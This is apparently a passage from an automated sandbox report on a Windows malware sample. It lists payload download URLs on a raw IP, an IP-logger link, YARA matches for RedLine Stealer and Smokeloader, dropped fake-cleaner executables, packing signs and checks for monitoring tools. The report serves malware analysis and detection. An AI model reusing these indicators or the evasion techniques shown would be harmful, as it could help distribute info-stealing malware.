00000000.00000003.2032603186.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download5
Source: file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download6
Source: file.exe, 00000000.00000003.2057643849.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082783354.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2032603186.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadA
Source: file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadF
Source: file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadM~r
Source: file.exe, 00000000.00000003.2057643849.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280659416.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2210244034.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2235376839.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2082783354.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2109447880.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2280585374.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2159672790.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2260450014.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2134573830.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2185003149.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadh
Source: file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download
Source: file.exe, 00000000.00000003.2313365499.0000000005690000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download6
Source: file.exe, 00000000.00000003.2330322141.0000000005690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/downloadi~N
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.2330322141.000000000565E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2327084794.000000000581C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330368931.0000000005601000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2328880830.000000000581C000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: file.exe, 00000000.00000003.2330322141.000000000565E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2327084794.000000000581C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330368931.0000000005601000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2328880830.000000000581C000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: file.exe, 00000000.00000003.2330322141.000000000565E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2327084794.000000000581C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2330368931.0000000005601000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2328880830.000000000581C000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2609959909.0000000000CEC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D0FD00		0_3_04D0FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D0DF87		0_3_04D0DF87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D19706		0_3_04D19706
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D03120		0_3_04D03120
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D022C0		0_3_04D022C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D0E2C9		0_3_04D0E2C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D14AEE		0_3_04D14AEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D0AA90		0_3_04D0AA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D15219		0_3_04D15219
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D04350		0_3_04D04350
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00403D20		0_2_00403D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402EC0		0_2_00402EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00404F50		0_2_00404F50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00410900		0_2_00410900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A306		0_2_0041A306
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB87		0_2_0040EB87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415E19		0_2_00415E19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EEC9		0_2_0040EEC9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004156EE		0_2_004156EE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B690		0_2_0040B690
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E184		0_2_1000E184
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_100102A0		0_2_100102A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAD182		0_2_00AAD182
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAD209		0_2_00AAD209
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CF2D1		0_2_009CF2D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA57C0		0_2_00AA57C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088E2AE		0_2_0088E2AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098A2AF		0_2_0098A2AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009994D1		0_2_009994D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009852D2		0_2_009852D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00891EC7		0_2_00891EC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00986CC3		0_2_00986CC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F3E07		0_2_008F3E07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098D839		0_2_0098D839
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098882B		0_2_0098882B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00992A41		0_2_00992A41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095E468		0_2_0095E468
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098F78E		0_2_0098F78E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088A7C0		0_2_0088A7C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099B7EF		0_2_0099B7EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00937711		0_2_00937711
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008E952E		0_2_008E952E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00991356		0_2_00991356
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C675E		0_2_008C675E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00996B71		0_2_00996B71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099816F		0_2_0099816F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B451B7		0_2_04B451B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B4EDEE		0_2_04B4EDEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B43F87		0_2_04B43F87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B4B8F7		0_2_04B4B8F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B451B7		0_2_04B451B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B4F130		0_2_04B4F130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B55955		0_2_04B55955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B50B67		0_2_04B50B67

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04B4A9C7 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04D09B60 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 10003160 appears 32 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1704

Source: file.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: soft[1].0.dr	Static PE information: No import functions for PE file found
Source: Y-Cleaner.exe.0.dr	Static PE information: No import functions for PE file found

Source: soft[1].0.dr	Static PE information: Data appended to the last section found
Source: Y-Cleaner.exe.0.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000003.2343442368.00000000055C5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2609959909.0000000000CEC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CED0FE CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7020

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Command line argument: emp		0_2_00408770
Source: C:\Users\user\Desktop\file.exe	Command line argument: mixtwo		0_2_00408770

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7020 -s 1704

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Y-Cleaner.exe

Source: file.exe

Static file information: File size 1948672 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of piktqyia is bigger than: 0x100000 < 0x1a9a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;piktqyia:EW;mvvqpdmt:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x13f466
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x13f466
Source: file.exe	Static PE information: real checksum: 0x1e6a40 should be: 0x1e57b8

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: piktqyia
Source: file.exe	Static PE information: section name: mvvqpdmt
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D095F7 push ecx; ret		0_3_04D0960A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D2037D push esi; ret		0_3_04D20386
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A1F7 push ecx; ret		0_2_0040A20A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421B7D push esi; ret		0_2_00421B86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAA0A1 push esi; ret		0_2_00AAA0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA9CBF push ecx; ret		0_2_00AA9CCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC8B6 push 52EA1BA9h; mov dword ptr [esp], ecx		0_2_00AAD801
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC8B6 push ebx; mov dword ptr [esp], 0DFA4F95h		0_2_00AAD80F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC8B6 push ecx; mov dword ptr [esp], 3C7E16FCh		0_2_00AAD91F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC89E push 52EA1BA9h; mov dword ptr [esp], ecx		0_2_00AAD801
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC89E push ebx; mov dword ptr [esp], 0DFA4F95h		0_2_00AAD80F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC89E push ecx; mov dword ptr [esp], 3C7E16FCh		0_2_00AAD91F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA9CEA push edi; ret		0_2_00AA9CF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAD4EB push ss; iretd		0_2_00AAD4FC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC8E7 push 52EA1BA9h; mov dword ptr [esp], ecx		0_2_00AAD801
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC8E7 push ebx; mov dword ptr [esp], 0DFA4F95h		0_2_00AAD80F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC8E7 push ecx; mov dword ptr [esp], 3C7E16FCh		0_2_00AAD91F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC028 push edx; ret		0_2_00AAC037
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA9C0D push esi; ret		0_2_00AA9C1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AACC13 push ebp; iretd		0_2_00AACC14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAA464 push ebp; ret		0_2_00AAA473
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC059 push ebp; ret		0_2_00AAC068
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA9C5F push ecx; ret		0_2_00AA9C6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAB852 push edx; mov dword ptr [esp], 4DDA119Ch		0_2_00AAB87E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAB9A8 push eax; mov dword ptr [esp], 7CFF3257h		0_2_00AABA0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAB9A8 push eax; mov dword ptr [esp], 5EC920EAh		0_2_00AABA54
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAA1AF push edx; ret		0_2_00AAA1BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAD9AC push edi; mov dword ptr [esp], ecx		0_2_00AADB27
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAB9B3 push eax; mov dword ptr [esp], 7CFF3257h		0_2_00AABA0E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAB9B3 push eax; mov dword ptr [esp], 5EC920EAh		0_2_00AABA54

Source: file.exe	Static PE information: section name: piktqyia entropy: 7.942411405734934
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.914762304494209
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.914762304494209

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\svtJDfvf364R4G45effw53J7\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
